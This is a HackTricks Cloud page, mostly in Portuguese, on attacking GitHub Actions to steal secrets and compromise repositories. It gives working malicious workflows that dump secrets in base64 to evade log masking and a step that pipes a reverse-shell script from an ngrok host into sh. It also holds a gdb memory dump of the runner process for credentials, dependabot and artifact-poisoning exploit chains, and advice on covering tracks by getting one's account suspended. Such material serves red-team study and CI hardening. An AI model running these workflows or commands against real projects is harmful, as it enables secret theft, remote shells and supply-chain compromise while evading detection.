Abusando de Github Actions
Reading time: 23 minutes
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Ferramentas
The following tools are useful to find Github Action workflows and even find vulnerable ones:
- https://github.com/CycodeLabs/raven
- https://github.com/praetorian-inc/gato
- https://github.com/AdnaneKhan/Gato-X
- https://github.com/carlospolop/PurplePanda
- https://github.com/zizmorcore/zizmor - Check also its checklist in https://docs.zizmor.sh/audits
Informações Básicas
Nesta página você encontrará:
- Um resumo de todos os impactos de um atacante conseguindo acessar uma Github Action
- Diferentes maneiras de obter acesso a uma action:
- Ter permissões para criar a action
- Abusar de gatilhos relacionados a pull request
- Abusar de outras técnicas de acesso externo
- Pivoting a partir de um repositório já comprometido
- Por fim, uma seção sobre post-exploitation techniques para abusar de uma action por dentro (causar os impactos mencionados)
Resumo de Impactos
Para uma introdução sobre Github Actions, confira as informações básicas.
Se você puder executar código arbitrário em GitHub Actions dentro de um repositório, você pode ser capaz de:
- Roubar secrets montados no pipeline e abusar dos privilégios do pipeline para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- Comprometer deployments e outros artifacts.
- Se o pipeline faz deploy ou armazena assets, você poderia alterar o produto final, permitindo um supply chain attack.
- Executar código em custom workers para abusar do poder computacional e pivotar para outros sistemas.
- Sobrescrever o código do repositório, dependendo das permissões associadas com o
GITHUB_TOKEN.
GITHUB_TOKEN
This "secret" (coming from ${{ secrets.GITHUB_TOKEN }} and ${{ github.token }}) is given when the admin enables this option:
.png)
This token is the same one a Github Application will use, so it can access the same endpoints: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps
warning
Github should release a flow that allows cross-repository access within GitHub, so a repo can access other internal repos using the GITHUB_TOKEN.
Você pode ver as possíveis permissões deste token em: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token
Note that the token expires after the job has completed.
Estes tokens se parecem com isto: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7
Algumas coisas interessantes que você pode fazer com esse token:
# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header "content-type: application/json" \
-d "{\"commit_title\":\"commit_title\"}"
caution
Observe que em várias ocasiões você poderá encontrar github user tokens inside Github Actions envs or in the secrets. Esses tokens podem lhe conceder mais privilégios sobre o repository e organization.
Listar secrets na saída do Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obter reverse shell com secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários checando os logs das actions:
.png)
Allowed Execution
note
Esta seria a forma mais fácil de comprometer Github actions, já que este caso supõe que você tenha acesso para create a new repo in the organization, ou possua write privileges over a repository.
Se você estiver nesse cenário você pode simplesmente conferir as Post Exploitation techniques.
Execution from Repo Creation
Caso membros de uma organização possam create new repos e você consiga executar Github actions, você pode create a new repo and steal the secrets set at organization level.
Execution from a New Branch
Se você puder create a new branch in a repository that already contains a Github Action configurada, você pode modify ela, upload o conteúdo e então execute that action from the new branch. Dessa forma você pode exfiltrate repository and organization level secrets (mas você precisa saber como eles são chamados).
warning
Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, on: push: branches: [main], job conditionals, ou manual gates) pode ser editada por colaboradores. Sem enforcement externo (branch protections, protected environments, and protected tags), um colaborador pode retarget a workflow para rodar na sua branch e abusar dos secrets/permissions montados.
Você pode tornar a action modificada executável manually, quando um PR é criado ou quando some code is pushed (dependendo de quão barulhento você quer ser):
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name
# Use '**' instead of a branh name to trigger the action in all the cranches
Forked Execution
note
There are different triggers that could allow an attacker to execute a Github Action of another repository. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
pull_request
The workflow trigger pull_request will execute the workflow every time a pull request is received with some exceptions: by default if it's the first time you are collaborating, some maintainer will need to approve the run of the workflow:
.png)
note
As the default limitation is for first-time contributors, you could contribute fixing a valid bug/typo and then send other PRs to abuse your new pull_request privileges.
I tested this and it doesn't work: Another option would be to create an account with the name of someone that contributed to the project and deleted his account.
Moreover, by default prevents write permissions and secrets access to the target repository as mentioned in the docs:
With the exception of
GITHUB_TOKEN, secrets are not passed to the runner when a workflow is triggered from a forked repository. TheGITHUB_TOKENhas read-only permissions in pull requests from forked repositories.
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
caution
Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the GITHUB_TOKEN an attacker could for example upload malicious artifacts.
pull_request_target
The workflow trigger pull_request_target have write permission to the target repository and access to secrets (and doesn't ask for permission).
Note that the workflow trigger pull_request_target runs in the base context and not in the one given by the PR (to not execute untrusted code). For more info about pull_request_target check the docs.
Moreover, for more info about this specific dangerous use check this github blog post.
It might look like because the executed workflow is the one defined in the base and not in the PR it's secure to use pull_request_target, but there are a few cases were it isn't.
An this one will have access to secrets.
workflow_run
The workflow_run trigger allows to run a workflow from a different one when it's completed, requested or in_progress.
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
on:
workflow_run:
workflows: [Run Tests]
types:
- completed
Além disso, de acordo com a documentação: O workflow iniciado pelo evento workflow_run é capaz de access secrets and write tokens, even if the previous workflow was not.
Esse tipo de workflow pode ser atacado se ele estiver depending de um workflow que pode ser triggered por um usuário externo via pull_request ou pull_request_target. A couple of vulnerable examples can be found this blog. O primeiro consiste no workflow acionado por workflow_run baixando o código do atacante: ${{ github.event.pull_request.head.sha }}
O segundo consiste em passing um artifact do código untrusted para o workflow workflow_run e usando o conteúdo desse artifact de uma forma que o torna vulnerable to RCE.
workflow_call
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
Abusing Forked Execution
Mencionamos todas as formas pelas quais um atacante externo poderia conseguir fazer um github workflow executar, agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
Untrusted checkout execution
No caso de pull_request, o workflow será executado no contexto do PR (portanto executará o malicious PRs code), mas alguém precisa authorize it first e ele será executado com algumas limitações.
No caso de um workflow usando pull_request_target or workflow_run que depende de um workflow que pode ser triggered a partir de pull_request_target or pull_request, o código do repositório original será executado, então o attacker cannot control the executed code.
caution
However, if the action has an explicit PR checkout that will get the code from the PR (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
- uses: actions/setup-node@v1
- run: |
npm install
npm build
- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
O código potencialmente untrusted code is being run during npm install or npm build pois os scripts de build e os packages are controlled by the author of the PR.
warning
A github dork to search for vulnerable actions is: event.pull_request pull_request_target extension:yml however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
Context Script Injections
Note que existem certos github contexts cujos valores são controlled pelo user que cria o PR. Se a github action estiver usando esses data to execute anything, isso pode levar a arbitrary code execution:
Gh Actions - Context Script Injections
GITHUB_ENV Script Injection
De acordo com a documentação: Você pode tornar uma variável de ambiente disponível para qualquer step subsequente em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente GITHUB_ENV.
Se um atacante puder inject any value dentro dessa variável env, ele poderia injetar variáveis de ambiente que poderiam executar código em steps subsequentes, como LD_PRELOAD ou NODE_OPTIONS.
Por exemplo (this and this), imagine um workflow que confia em um uploaded artifact para armazenar seu conteúdo dentro da variável de ambiente GITHUB_ENV. Um atacante poderia enviar algo como isto para comprometer:
.png)
Dependabot and other trusted bots
Como indicado em this blog post, várias organizações têm uma Github Action que merges any PRR from dependabot[bot] like in:
on: pull_request_target
jobs:
auto-merge:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
Isso é um problema porque o campo github.actor contém o usuário que causou o último evento que disparou o workflow. E existem várias maneiras de fazer o usuário dependabot[bot] modificar um PR. Por exemplo:
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs
@dependabot recreate - Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes
dependabot[bot]the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Avançando, e se em vez de mergear a Github Action tivesse uma command injection como em:
on: pull_request_target
jobs:
just-printing-stuff:
runs-on: ubuntu-latest
if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
- Crie um novo branch com o código de shell injection malicioso.
- Altere o default branch do repo para esse.
- Crie um PR a partir desse branch para o repositório da vítima.
- Execute
@dependabot mergeno PR que o Dependabot abriu no fork dele. - O Dependabot irá mergear suas mudanças no default branch do seu repositório forkado, atualizando o PR no repositório da vítima, fazendo com que o
dependabot[bot]seja agora o ator do último evento que disparou o workflow e usando um nome de branch malicioso.
Github Actions de terceiros vulneráveis
dawidd6/action-download-artifact
As mencionado em this blog post, esta Github Action permite acessar artifacts de diferentes workflows e até repositórios.
O problema é que se o parâmetro path não estiver definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que podem ser posteriormente usados ou até executados no workflow. Portanto, se o artifact for vulnerável, um atacante poderia abusar disso para comprometer outros workflows que confiam no artifact.
Exemplo de workflow vulnerável:
on:
workflow_run:
workflows: ["some workflow"]
types:
- completed
jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py
Isso poderia ser atacado com este workflow:
name: "some workflow"
on: pull_request
jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py
Outros Acessos Externos
Deleted Namespace Repo Hijacking
Se uma conta muda seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve menos de 100 stars antes da mudança de nome, o Github permitirá que o novo usuário registrado com o mesmo nome crie um repository com o mesmo name que o excluído.
caution
Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
Se outros repositories estiverem usando dependencies from this user repos, um atacante será capaz de hijacká-los. Aqui você tem uma explicação mais completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/
Repo Pivoting
note
Nesta seção falaremos sobre técnicas que permitiriam a pivot from one repo to another, supondo que tenhamos algum tipo de acesso ao primeiro (veja a seção anterior).
Cache Poisoning
Um cache é mantido entre workflow runs in the same branch. Isso significa que se um atacante compromise um package que é então armazenado no cache e downloaded e executado por um more privileged workflow, ele também poderá compromise esse workflow.
Artifact Poisoning
Workflows could use artifacts from other workflows and even repos, se um atacante conseguir compromise a Github Action que uploads an artifact que depois é usada por outro workflow, ele poderia compromise the other workflows:
Gh Actions - Artifact Poisoning
Post Exploitation from an Action
Github Action Policies Bypass
Como comentado em this blog post, mesmo que um repository ou organization tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer o download (git clone) de uma action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, a action será executada sem qualquer restrição.
Example:
on: [push, pull_request]
jobs:
test:
runs-on: ubuntu-latest
steps:
- run: |
mkdir -p ./tmp
git clone https://github.com/actions/checkout.git ./tmp/checkout
- uses: ./tmp/checkout
with:
repository: woodruffw/gha-hazmat
path: gha-hazmat
- run: ls && pwd
- run: ls tmp/checkout
Acessando AWS, Azure e GCP via OIDC
Consulte as seguintes páginas:
Acessando secrets
Se você está injetando conteúdo em um script, é interessante saber como acessar secrets:
- Se o secret ou token estiver definido como uma variável de ambiente, ele pode ser acessado diretamente através do ambiente usando
printenv.
Listar secrets na saída do Github Action
name: list_env
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
List_env:
runs-on: ubuntu-latest
steps:
- name: List Env
# Need to base64 encode or github will change the secret value for "***"
run: sh -c 'env | grep "secret_" | base64 -w0'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
Obter reverse shell com secrets
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- "**"
push: # Run it when a push is made to a branch
branches:
- "**"
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- Se o secret for usado diretamente em uma expressão, o shell script gerado é armazenado no disco e fica acessível.
-
cat /home/runner/work/_temp/*
- Para JavaScript actions os secrets são enviados através de environment variables
- ```bash
ps axe | grep node
- Para uma custom action, o risco pode variar dependendo de como um programa está usando o secret obtido a partir do argument:
uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}
- Enumere todos os secrets via o secrets context (colaborador level). Um contributor com write access pode modificar um workflow em qualquer branch para dumpar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decodifique localmente:
name: Steal secrets
on:
push:
branches: [ attacker-branch ]
jobs:
dump:
runs-on: ubuntu-latest
steps:
- name: Double-base64 the secrets context
run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
Decodifique localmente:
echo "ZXdv...Zz09" | base64 -d | base64 -d
Dica: para stealth durante os testes, encrypt antes de imprimir (openssl is preinstalled on GitHub-hosted runners).
Abusando de Self-hosted runners
A forma de descobrir quais GitHub Actions estão sendo executadas em infraestrutura não-GitHub é procurar por runs-on: self-hosted no yaml de configuração do GitHub Action.
Self-hosted runners podem ter acesso a informações sensíveis adicionais, a outros network systems (endpoints vulneráveis na rede? metadata service?) ou, mesmo que sejam isolados e destruídos, mais de uma action pode ser executada ao mesmo tempo e a maliciosa poderia steal the secrets da outra.
Em self-hosted runners também é possível obter os secrets from the _Runner.Listener_** process** que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
Consulte this post for more information.
Registro de Imagens Docker do Github
É possível criar Github actions que irão build and store a Docker image inside Github.
Um exemplo pode ser encontrado no expansível a seguir:
Github Action Build & Push Docker Image
[...]
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v1
- name: Login to GitHub Container Registry
uses: docker/login-action@v1
with:
registry: ghcr.io
username: ${{ github.repository_owner }}
password: ${{ secrets.ACTIONS_TOKEN }}
- name: Add Github Token to Dockerfile to be able to download code
run: |
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
- name: Build and push
uses: docker/build-push-action@v2
with:
context: .
push: true
tags: |
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
[...]
Como pode ver no código anterior, o Github registry está hospedado em ghcr.io.
Um usuário com permissões de leitura sobre o repositório poderá então baixar a Docker Image usando um personal access token:
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
Então, o usuário poderia procurar por leaked secrets in the Docker image layers:
Informações sensíveis nos logs do Github Actions
Mesmo que o Github tente detectar secret values nos logs das actions e evitar mostrá-los, outros dados sensíveis que possam ter sido gerados durante a execução da action não serão ocultados. Por exemplo, um JWT assinado com um secret value não será ocultado a menos que esteja especificamente configurado.
Encobrindo seus rastros
(Technique from here) Antes de mais nada, qualquer PR aberto fica claramente visível ao público no Github e para a conta alvo no GitHub. No GitHub por padrão, não podemos deletar um PR da internet, mas há um detalhe. Para contas do Github que são suspended pelo Github, todos os seus PRs são automaticamente deletados e removidos da internet. Então, para esconder sua atividade você precisa ou ter sua Conta GitHub suspensa ou ter sua conta sinalizada. Isso iria ocultar todas as suas atividades no GitHub da internet (basicamente remover todos os seus exploit PR)
Uma organização no GitHub é muito proativa em reportar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “some stuff” em Issue e eles vão garantir que sua conta seja suspensa em 12 horas :p e aí está, seu exploit invisível no github.
warning
A única maneira de uma organização descobrir que foi alvo é checar os logs do GitHub no SIEM, já que pela GitHub UI o PR teria sido removido.
Referências
tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:
HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
HackTricks Cloud